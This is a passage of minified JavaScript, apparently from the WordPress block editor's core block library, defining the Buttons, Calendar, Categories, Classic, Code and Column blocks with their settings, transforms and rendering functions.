0:n.fontSize)});return(0,$e.createElement)("div",Ze.useBlockProps.save({className:_}),(0,$e.createElement)(Ze.RichText.Content,{tagName:"a",className:v,href:m,title:u,style:b,value:c,target:l,rel:i}))},deprecated:an,merge:(e,t)=>{let{text:n=""}=t;return{...e,text:(e.text||"")+n}}},gn=()=>qe({name:dn,metadata:mn,settings:pn}),hn=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M17 3H7c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 6c0 .3-.2.5-.5.5H7c-.3 0-.5-.2-.5-.5V5c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v4zm-8-1.2h5V6.2h-5v1.6zM17 13H7c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2zm.5 6c0 .3-.2.5-.5.5H7c-.3 0-.5-.2-.5-.5v-4c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v4zm-8-1.2h5v-1.5h-5v1.5z"})),vn=e=>{if(e.layout)return e;const{contentJustification:t,orientation:n,...o}=e;return(t||n)&&Object.assign(o,{layout:{type:"flex",...t&&{justifyContent:t},...n&&{orientation:n}}}),o},bn=[{attributes:{contentJustification:{type:"string"},orientation:{type:"string",default:"horizontal"}},supports:{anchor:!0,align:["wide","full"],__experimentalExposeControlsToChildren:!0,spacing:{blockGap:!0,margin:["top","bottom"],__experimentalDefaultControls:{blockGap:!0}}},isEligible:e=>{let{contentJustification:t,orientation:n}=e;return!!t||!!n},migrate:vn,save(e){let{attributes:{contentJustification:t,orientation:n}}=e;return(0,$e.createElement)("div",Ze.useBlockProps.save({className:at()({[`is-content-justification-${t}`]:t,"is-vertical":"vertical"===n})}),(0,$e.createElement)(Ze.InnerBlocks.Content,null))}},{supports:{align:["center","left","right"],anchor:!0},save:()=>(0,$e.createElement)("div",null,(0,$e.createElement)(Ze.InnerBlocks.Content,null)),isEligible(e){let{align:t}=e;return t&&["center","left","right"].includes(t)},migrate:e=>vn({...e,align:void 0,contentJustification:e.align})}],yn=bn,fn=window.wp.richText,{name:kn}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/buttons",title:"Buttons",category:"design",description:"Prompt visitors to take action with a group of button-style links.",keywords:["link"],textdomain:"default",supports:{anchor:!0,align:["wide","full"],__experimentalExposeControlsToChildren:!0,spacing:{blockGap:!0,margin:["top","bottom"],__experimentalDefaultControls:{blockGap:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalLayout:{allowSwitching:!1,allowInheriting:!1,default:{type:"flex"}}},editorStyle:"wp-block-buttons-editor",style:"wp-block-buttons"},xn={from:[{type:"block",isMultiBlock:!0,blocks:["core/button"],transform:e=>(0,Ge.createBlock)(kn,{},e.map((e=>(0,Ge.createBlock)("core/button",e))))},{type:"block",isMultiBlock:!0,blocks:["core/paragraph"],transform:e=>(0,Ge.createBlock)(kn,{},e.map((e=>{const t=(0,fn.__unstableCreateElement)(document,e.content),n=t.innerText||"",o=t.querySelector("a"),a=null==o?void 0:o.getAttribute("href");return(0,Ge.createBlock)("core/button",{text:n,url:a})}))),isMatch:e=>e.every((e=>{const t=(0,fn.__unstableCreateElement)(document,e.content),n=t.innerText||"",o=t.querySelectorAll("a");return n.length<=30&&o.length<=1}))}]},wn=xn,En=[dn],Cn={name:dn,attributesToCopy:["backgroundColor","border","className","fontFamily","fontSize","gradient","style","textColor","width"]},Sn={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/buttons",title:"Buttons",category:"design",description:"Prompt visitors to take action with a group of button-style links.",keywords:["link"],textdomain:"default",supports:{anchor:!0,align:["wide","full"],__experimentalExposeControlsToChildren:!0,spacing:{blockGap:!0,margin:["top","bottom"],__experimentalDefaultControls:{blockGap:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalLayout:{allowSwitching:!1,allowInheriting:!1,default:{type:"flex"}}},editorStyle:"wp-block-buttons-editor",style:"wp-block-buttons"},{name:Bn}=Sn,Tn={icon:hn,example:{innerBlocks:[{name:"core/button",attributes:{text:(0,je.__)("Find out more")}},{name:"core/button",attributes:{text:(0,je.__)("Contact us")}}]},deprecated:yn,transforms:wn,edit:function(e){var t;let{attributes:n,className:o}=e;const{fontSize:a,layout:r={},style:l}=n,i=(0,Ze.useBlockProps)({className:at()(o,{"has-custom-font-size":a||(null==l||null===(t=l.typography)||void 0===t?void 0:t.fontSize)})}),s=(0,it.useSelect)((e=>{var t;const n=e(Ze.store).getSettings().__experimentalPreferredStyleVariations;return null==n||null===(t=n.value)||void 0===t?void 0:t[dn]}),[]),c=(0,Ze.useInnerBlocksProps)(i,{allowedBlocks:En,__experimentalDefaultBlock:Cn,__experimentalDirectInsert:!0,template:[[dn,{className:s&&`is-style-${s}`}]],__experimentalLayout:r,templateInsertUpdatesSelection:!0});return(0,$e.createElement)("div",c)},save:function(e){var t;let{attributes:n,className:o}=e;const{fontSize:a,style:r}=n,l=Ze.useBlockProps.save({className:at()(o,{"has-custom-font-size":a||(null==r||null===(t=r.typography)||void 0===t?void 0:t.fontSize)})}),i=Ze.useInnerBlocksProps.save(l);return(0,$e.createElement)("div",i)}},Nn=()=>qe({name:Bn,metadata:Sn,settings:Tn}),Pn=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z"})),In=Pt()((e=>{if(!e)return{};const t=new Date(e);return{year:t.getFullYear(),month:t.getMonth()+1}})),zn={from:[{type:"block",blocks:["core/archives"],transform:()=>(0,Ge.createBlock)("core/calendar")}],to:[{type:"block",blocks:["core/archives"],transform:()=>(0,Ge.createBlock)("core/archives")}]},Mn={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/calendar",title:"Calendar",category:"widgets",description:"A calendar of your site’s posts.",keywords:["posts","archive"],textdomain:"default",attributes:{month:{type:"integer"},year:{type:"integer"}},supports:{align:!0,color:{link:!0,__experimentalSkipSerialization:["text","background"],__experimentalDefaultControls:{background:!0,text:!0},__experimentalSelector:"table, th"},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},style:"wp-block-calendar"},{name:Ln}=Mn,Rn={icon:Pn,example:{},edit:function(e){let{attributes:t}=e;const n=(0,Ze.useBlockProps)(),{date:o,hasPosts:a,hasPostsResolved:r}=(0,it.useSelect)((e=>{const{getEntityRecords:t,hasFinishedResolution:n}=e(lt.store),o={status:"publish",per_page:1},a=t("postType","post",o),r=n("getEntityRecords",["postType","post",o]);let l;const i=e("core/editor");return i&&"post"===i.getEditedPostAttribute("type")&&(l=i.getEditedPostAttribute("date")),{date:l,hasPostsResolved:r,hasPosts:r&&1===(null==a?void 0:a.length)}}),[]);return a?(0,$e.createElement)("div",n,(0,$e.createElement)(We.Disabled,null,(0,$e.createElement)(Ke(),{block:"core/calendar",attributes:{...t,...In(o)}}))):(0,$e.createElement)("div",n,(0,$e.createElement)(We.Placeholder,{icon:Pn,label:(0,je.__)("Calendar")},r?(0,je.__)("No published posts found."):(0,$e.createElement)(We.Spinner,null)))},transforms:zn},An=()=>qe({name:Ln,metadata:Mn,settings:Rn}),Vn=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z",fillRule:"evenodd",clipRule:"evenodd"})),Hn=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"m21.5 9.1-6.6-6.6-4.2 5.6c-1.2-.1-2.4.1-3.6.7-.1 0-.1.1-.2.1-.5.3-.9.6-1.2.9l3.7 3.7-5.7 5.7v1.1h1.1l5.7-5.7 3.7 3.7c.4-.4.7-.8.9-1.2.1-.1.1-.2.2-.3.6-1.1.8-2.4.6-3.6l5.6-4.1zm-7.3 3.5.1.9c.1.9 0 1.8-.4 2.6l-6-6c.8-.4 1.7-.5 2.6-.4l.9.1L15 4.9 19.1 9l-4.9 3.6z"})),Dn={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/categories",title:"Categories List",category:"widgets",description:"Display a list of all categories.",textdomain:"default",attributes:{displayAsDropdown:{type:"boolean",default:!1},showHierarchy:{type:"boolean",default:!1},showPostCounts:{type:"boolean",default:!1},showOnlyTopLevel:{type:"boolean",default:!1},showEmpty:{type:"boolean",default:!1}},supports:{align:!0,html:!1,spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-categories-editor",style:"wp-block-categories"},{name:Fn}=Dn,Gn={icon:Vn,example:{},edit:function e(t){let{attributes:{displayAsDropdown:n,showHierarchy:o,showPostCounts:a,showOnlyTopLevel:r,showEmpty:l},setAttributes:i,className:s}=t;const c=(0,Wt.useInstanceId)(e,"blocks-category-select"),u={per_page:-1,hide_empty:!l,context:"view"};r&&(u.parent=0);const{records:m,isResolving:d}=(0,lt.useEntityRecords)("taxonomy","category",u),p=e=>null!=m&&m.length?null===e?m:m.filter((t=>{let{parent:n}=t;return n===e})):[],g=e=>t=>i({[e]:t}),h=e=>e?(0,St.unescape)(e).trim():(0,je.__)("(Untitled)"),v=e=>{const t=p(e.id),{id:n,link:r,count:l,name:i}=e;return(0,$e.createElement)("li",{key:n,className:`cat-item cat-item-${n}`},(0,$e.createElement)("a",{href:r,target:"_blank",rel:"noreferrer noopener"},h(i)),a&&` (${l})`,o&&!!t.length&&(0,$e.createElement)("ul",{className:"children"},t.map((e=>v(e)))))},b=(e,t)=>{const{id:n,count:r,name:l}=e,i=p(n);return[(0,$e.createElement)("option",{key:n,className:`level-${t}`},Array.from({length:3*t}).map((()=>" ")),h(l),a&&` (${r})`),o&&!!i.length&&i.map((e=>b(e,t+1)))]},_=null==m||!m.length||n||d?"div":"ul",y=at()(s,{"wp-block-categories-list":!(null==m||!m.length||n||d),"wp-block-categories-dropdown":!(null==m||!m.length)&&n&&!d}),f=(0,Ze.useBlockProps)({className:y});return(0,$e.createElement)(_,f,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display as dropdown"),checked:n,onChange:g("displayAsDropdown")}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show post counts"),checked:a,onChange:g("showPostCounts")}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show only top level categories"),checked:r,onChange:g("showOnlyTopLevel")}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show empty categories"),checked:l,onChange:g("showEmpty")}),!r&&(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show hierarchy"),checked:o,onChange:g("showHierarchy")}))),d&&(0,$e.createElement)(We.Placeholder,{icon:Hn,label:(0,je.__)("Categories")},(0,$e.createElement)(We.Spinner,null)),!d&&0===(null==m?void 0:m.length)&&(0,$e.createElement)("p",null,(0,je.__)("Your site does not have any posts, so there is nothing to display here at the moment.")),!d&&(null==m?void 0:m.length)>0&&(n?(()=>{const e=p(o?0:null);return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.VisuallyHidden,{as:"label",htmlFor:c},(0,je.__)("Categories")),(0,$e.createElement)("select",{id:c},(0,$e.createElement)("option",null,(0,je.__)("Select Category")),e.map((e=>b(e,0)))))})():p(o?0:null).map((e=>v(e,0)))))}},$n=()=>qe({name:Fn,metadata:Dn,settings:Gn}),Un=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M20 6H4c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H4c-.3 0-.5-.2-.5-.5V8c0-.3.2-.5.5-.5h16c.3 0 .5.2.5.5v9zM10 10H8v2h2v-2zm-5 2h2v-2H5v2zm8-2h-2v2h2v-2zm-5 6h8v-2H8v2zm6-4h2v-2h-2v2zm3 0h2v-2h-2v2zm0 4h2v-2h-2v2zM5 16h2v-2H5v2z"})),On=e=>{let{clientId:t}=e;const{replaceBlocks:n}=(0,it.useDispatch)(Ze.store),o=(0,it.useSelect)((e=>e(Ze.store).getBlock(t)),[t]);return(0,$e.createElement)(We.ToolbarButton,{onClick:()=>n(o.clientId,(0,Ge.rawHandler)({HTML:(0,Ge.serialize)(o)}))},(0,je.__)("Convert to blocks"))},{wp:qn}=window,Wn={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/freeform",title:"Classic",category:"text",description:"Use the classic WordPress editor.",textdomain:"default",attributes:{content:{type:"string",source:"html"}},supports:{className:!1,customClassName:!1,reusable:!1},editorStyle:"wp-block-freeform-editor"},{name:jn}=Wn,Zn={icon:Un,edit:function(e){let{clientId:t,attributes:{content:n},setAttributes:o,onReplace:a}=e;const{getMultiSelectedBlockClientIds:r}=(0,it.useSelect)(Ze.store),l=(0,it.useSelect)((e=>e(Ze.store).canRemoveBlock(t)),[t]),i=(0,$e.useRef)(!1);return(0,$e.useEffect)((()=>{if(!i.current)return;const e=window.tinymce.get(`editor-${t}`);(null==e?void 0:e.getContent())!==n&&e.setContent(n||"")}),[n]),(0,$e.useEffect)((()=>{const{baseURL:e,suffix:l}=window.wpEditorL10n.tinymce;function s(e){let t;n&&e.on("loadContent",(()=>e.setContent(n))),e.on("blur",(()=>{var n;t=e.selection.getBookmark(2,!0);const a=document.querySelector(".interface-interface-skeleton__content"),l=a.scrollTop;return null!==(n=r())&&void 0!==n&&n.length||o({content:e.getContent()}),e.once("focus",(()=>{t&&(e.selection.moveToBookmark(t),a.scrollTop!==l&&(a.scrollTop=l))})),!1})),e.on("mousedown touchstart",(()=>{t=null}));const l=(0,Wt.debounce)((()=>{const t=e.getContent();t!==e._lastChange&&(e._lastChange=t,o({content:t}))}),250);e.on("Paste Change input Undo Redo",l),e.on("remove",l.cancel),e.on("keydown",(t=>{rn.isKeyboardEvent.primary(t,"z")&&t.stopPropagation(),t.keyCode!==rn.BACKSPACE&&t.keyCode!==rn.DELETE||!function(e){const t=e.getBody();return!(t.childNodes.length>1)&&(0===t.childNodes.length||!(t.childNodes[0].childNodes.length>1)&&/^\n?$/.test(t.innerText||t.textContent))}(e)||(a([]),t.preventDefault(),t.stopImmediatePropagation());const{altKey:n}=t;n&&t.keyCode===rn.F10&&t.stopPropagation()})),e.on("init",(()=>{const t=e.getBody();t.ownerDocument.activeElement===t&&(t.blur(),e.focus())}))}function c(){const{settings:e}=window.wpEditorL10n.tinymce;qn.oldEditor.initialize(`editor-${t}`,{tinymce:{...e,inline:!0,content_css:!1,fixed_toolbar_container:`#toolbar-${t}`,setup:s}})}function u(){"complete"===document.readyState&&c()}return i.current=!0,window.tinymce.EditorManager.overrideDefaults({base_url:e,suffix:l}),"complete"===document.readyState?c():document.addEventListener("readystatechange",u),()=>{document.removeEventListener("readystatechange",u),qn.oldEditor.remove(`editor-${t}`)}}),[]),(0,$e.createElement)($e.Fragment,null,l&&(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(We.ToolbarGroup,null,(0,$e.createElement)(On,{clientId:t}))),(0,$e.createElement)("div",(0,Ze.useBlockProps)(),(0,$e.createElement)("div",{key:"toolbar",id:`toolbar-${t}`,className:"block-library-classic__toolbar",onClick:function(){const e=window.tinymce.get(`editor-${t}`);e&&e.focus()},"data-placeholder":(0,je.__)("Classic"),onKeyDown:function(e){e.stopPropagation(),e.nativeEvent.stopImmediatePropagation()}}),(0,$e.createElement)("div",{key:"editor",id:`editor-${t}`,className:"wp-block-freeform block-library-rich-text__tinymce"})))},save:function(e){let{attributes:t}=e;const{content:n}=t;return(0,$e.createElement)($e.RawHTML,null,n)}},Qn=()=>qe({name:jn,metadata:Wn,settings:Zn}),Kn=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M20.8 10.7l-4.3-4.3-1.1 1.1 4.3 4.3c.1.1.1.3 0 .4l-4.3 4.3 1.1 1.1 4.3-4.3c.7-.8.7-1.9 0-2.6zM4.2 11.8l4.3-4.3-1-1-4.3 4.3c-.7.7-.7 1.8 0 2.5l4.3 4.3 1.1-1.1-4.3-4.3c-.2-.1-.2-.3-.1-.4z"}));function Yn(e){return e.replace(/\[/g,"&#91;")}function Jn(e){return e.replace(/^(\s*https?:)\/\/([^\s<>"]+\s*)$/m,"$1&#47;&#47;$2")}const Xn={from:[{type:"enter",regExp:/^```$/,transform:()=>(0,Ge.createBlock)("core/code")},{type:"block",blocks:["core/html","core/paragraph"],transform:e=>{let{content:t}=e;return(0,Ge.createBlock)("core/code",{content:t})}},{type:"raw",isMatch:e=>"PRE"===e.nodeName&&1===e.children.length&&"CODE"===e.firstChild.nodeName,schema:{pre:{children:{code:{children:{"#text":{}}}}}}}],to:[{type:"block",blocks:["core/paragraph"],transform:e=>{let{content:t}=e;return(0,Ge.createBlock)("core/paragraph",{content:t})}}]},eo={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/code",title:"Code",category:"text",description:"Display code snippets that respect your spacing and tabs.",textdomain:"default",attributes:{content:{type:"string",source:"html",selector:"code"}},supports:{anchor:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},spacing:{margin:["top","bottom"],padding:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{width:!0,color:!0}},color:{text:!0,background:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}}},style:"wp-block-code"},{name:to}=eo,no={icon:Kn,example:{attributes:{
// translators: Preserve \n markers for line breaks
content:(0,je.__)("// A “block” is the abstract term used\n// to describe units of markup that\n// when composed together, form the\n// content or layout of a page.\nregisterBlockType( name, settings );")}},transforms:Xn,edit:function(e){let{attributes:t,setAttributes:n,onRemove:o}=e;const a=(0,Ze.useBlockProps)();return(0,$e.createElement)("pre",a,(0,$e.createElement)(Ze.RichText,{tagName:"code",value:t.content,onChange:e=>n({content:e}),onRemove:o,placeholder:(0,je.__)("Write code…"),"aria-label":(0,je.__)("Code"),preserveWhiteSpace:!0,__unstablePastePlainText:!0}))},save:function(e){let{attributes:t}=e;return(0,$e.createElement)("pre",Ze.useBlockProps.save(),(0,$e.createElement)(Ze.RichText.Content,{tagName:"code",value:(n=t.content,(0,Wt.pipe)(Yn,Jn)(n||""))}));var n}},oo=()=>qe({name:to,metadata:eo,settings:no}),ao=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M19 6H6c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zM6 17.5c-.3 0-.5-.2-.5-.5V8c0-.3.2-.5.5-.5h3v10H6zm13.5-.5c0 .3-.2.5-.5.5h-3v-10h3c.3 0 .5.2.5.5v9z"})),ro=[{attributes:{verticalAlignment:{type:"string"},width:{type:"number",min:0,max:100}},isEligible(e){let{width:t}=e;return isFinite(t)},migrate:e=>({...e,width:`${e.width}%`}),save(e){let{attributes:t}=e;const{verticalAlignment:n,width:o}=t,a=at()({[`is-vertically-aligned-${n}`]:n}),r={flexBasis:o+"%"};return(0,$e.createElement)("div",{className:a,style:r},(0,$e.createElement)(Ze.InnerBlocks.Content,null))}}],lo=ro,io={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/column",title:"Column",category:"text",parent:["core/columns"],description:"A single column within a columns block.",textdomain:"default",attributes:{verticalAlignment:{type:"string"},width:{type:"string"},allowedBlocks:{type:"array"},templateLock:{type:["string","boolean"],enum:["all","insert","contentOnly",!1]}},supports:{anchor:!0,reusable:!1,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{blockGap:!0,padding:!0,__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{color:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,style:!0,width:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalLayout:!0}},{name:so}=io,co={icon:ao,edit:function(e){let{attributes:{verticalAlignment:t,width:n,templateLock:o,allowedBlocks:a},setAttributes:r,clientId:l}=e;const i=at()("block-core-columns",{[`is-vertically-aligned-${t}`]:t}),s=(0,We.__experimentalUseCustomUnits)({availableUnits:(0,Ze.useSetting)("spacing.units")||["%","px","em","rem","vw"]}),{columnsIds:c,hasChildBlocks:u,rootClientId:m}=(0,it.useSelect)((e=>{const{getBlockOrder:t,getBlockRootClientId:n}=e(Ze.store),o=n(l);return{hasChildBlocks:t(l).length>0,rootClientId:o,columnsIds:t(o)}}),[l]),{updateBlockAttributes:d}=(0,it.useDispatch)(Ze.store),p=Number.isFinite(n)?n+"%":n,g=(0,Ze.useBlockProps)({className:i,style:p?{flexBasis:p}:void 0}),h=c.length,v=c.indexOf(l)+1,b=(0,je.sprintf)(
/* translators: 1: Block label (i.e. "Block: Column"), 2: Position of the selected block, 3: Total number of sibling blocks of the same type */
(0,je.__)("%1$s (%2$d of %3$d)"),g["aria-label"],v,h),_=(0,Ze.useInnerBlocksProps)({...g,"aria-label":b},{templateLock:o,allowedBlocks:a,renderAppender:u?void 0:Ze.InnerBlocks.ButtonBlockAppender});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(Ze.BlockVerticalAlignmentToolbar,{onChange:e=>{r({verticalAlignment:e}),d(m,{verticalAlignment:null})},value:t})),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Column settings")},(0,$e.createElement)(We.__experimentalUnitControl,{label:(0,je.__)("Width"),labelPosition:"edge",__unstableInputWidth:"80px",value:n||"",onChange:e=>{e=0>parseFloat(e)?"0":e,r({width:e})},units:s}))),(0,$e.createElement)("div",_))},save:function(e){let{attributes:t}=e;const{verticalAlignment:n,width:o}=t,a=at()({[`is-vertically-aligned-${n}`]:n});let r;if(o&&/\d/.test(o)){let e=Number.isFinite(o)?o+"%":o;if(!Number.isFinite(o)&&null!=o&&o.endsWith("%")){const t=1e12;e=Math.round(Number.parseFloat(o)*t)/t+"%"}r={flexBasis:e}}const l=Ze.useBlockProps.save({className:a,style:r}),i=Ze.useInnerBlocksProps.save(l);return(0,$e.createElement)("div",i)},deprecated:lo},uo=()=>qe({name:so,metadata:io,settings:co}),mo=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M19 6H6c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm-4.1 1.5v10H10v-10h4.9zM5.5 17V8c0-.3.2-.5.5-.5h2.5v10H6c-.3 0-.5-.2-.5-.5zm14 0c0 .3-.2.5-.5.5h-2.6v-10H19c.3 0 .5.2.5.5v9z"}));function po(e){let t,{doc:n}=po;n||(n=document.implementation.createHTMLDocument(""),po.doc=n),n.body.innerHTML=e;for(const e of n.body.firstChild.classList)if(t=e.match(/^layout-column-(\d+)$/))return Number(t[1])-1}const go=[{attributes:{verticalAlignment:{type:"string"},backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},customTextColor:{type:"string"},textColor:{type:"string"}},migrate:e=>{if(!e.customTextColor&&!e.customBackgroundColor)return e;const t={color:{}};e.customTextColor&&(t.color.text=e.customTextColor),e.customBackgroundColor&&(t.color.background=e.customBackgroundColor);const{customTextColor:n,customBackgroundColor:o,...a}=e;return{...a,style:t,isStackedOnMobile:!0}},save(e){let{attributes:t}=e;const{verticalAlignment:n,backgroundColor:o,customBackgroundColor:a,textColor:r,customTextColor:l}=t,i=(0,Ze.getColorClassName)("background-color",o),s=(0,Ze.getColorClassName)("color",r),c=at()({"has-background":o||a,"has-text-color":r||l,[i]:i,[s]:s,[`are-vertically-aligned-${n}`]:n}),u={backgroundColor:i?void 0:a,color:s?void 0:l};return(0,$e.createElement)("div",{className:c||void 0,style:u},(0,$e.createElement)(Ze.InnerBlocks.Content,null))}},{attributes:{columns:{type:"number",default:2}},isEligible:(e,t)=>!!t.some((e=>/layout-column-\d+/.test(e.originalContent)))&&t.some((e=>void 0!==po(e.originalContent))),migrate(e,t){const n=t.reduce(((e,t)=>{const{originalContent:n}=t;let o=po(n);return void 0===o&&(o=0),e[o]||(e[o]=[]),e[o].push(t),e}),[]).map((e=>(0,Ge.createBlock)("core/column",{},e))),{columns:o,...a}=e;return[{...a,isStackedOnMobile:!0},n]},save(e){let{attributes:t}=e;const{columns:n}=t;return(0,$e.createElement)("div",{className:`has-${n}-columns`},(0,$e.createElement)(Ze.InnerBlocks.Content,null))}},{attributes:{columns:{type:"number",default:2}},migrate(e,t){const{columns:n,...o}=e;return[e={...o,isStackedOnMobile:!0},t]},save(e){let{attributes:t}=e;const{verticalAlignment:n,columns:o}=t,a=at()(`has-${o}-columns`,{[`are-vertically-aligned-${n}`]:n});return(0,$e.createElement)("div",{className:a},(0,$e.createElement)(Ze.InnerBlocks.Content,null))}}],ho=e=>{const t=parseFloat(e);return Number.isFinite(t)?parseFloat(t.toFixed(2)):void 0};function vo(e,t){const{width:n=100/t}=e.attributes;return ho(n)}function bo(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:e.length;return e.reduce(((e,n)=>e+vo(n,t)),0)}function _o(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:e.length;return e.reduce(((e,n)=>{const o=vo(n,t);return Object.assign(e,{[n.clientId]:o})}),{})}function yo(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:e.length;const o=bo(e,n);return(0,St.mapValues)(_o(e,n),(e=>ho(t*e/o)))}function fo(e,t){return e.map((e=>(0,St.merge)({},e,{attributes:{width:`${t[e.clientId]}%`}})))}const ko=["core/column"],xo=(0,it.withDispatch)(((e,t,n)=>({updateAlignment(o){const{clientId:a,setAttributes:r}=t,{updateBlockAttributes:l}=e(Ze.store),{getBlockOrder:i}=n.select(Ze.store);r({verticalAlignment:o}),i(a).forEach((e=>{l(e,{verticalAlignment:o})}))},updateColumns(o,a){const{clientId:r}=t,{replaceInnerBlocks:l}=e(Ze.store),{getBlocks:i}=n.select(Ze.store);let s=i(r);const c=s.every((e=>{var t;const n=e.attributes.width;return Number.isFinite(null!=n&&null!==(t=n.endsWith)&&void 0!==t&&t.call(n,"%")?parseFloat(n):n)})),u=a>o;if(u&&c){const e=ho(100/a);s=[...fo(s,yo(s,100-e)),...Array.from({length:a-o}).map((()=>(0,Ge.createBlock)("core/column",{width:`${e}%`})))]}else 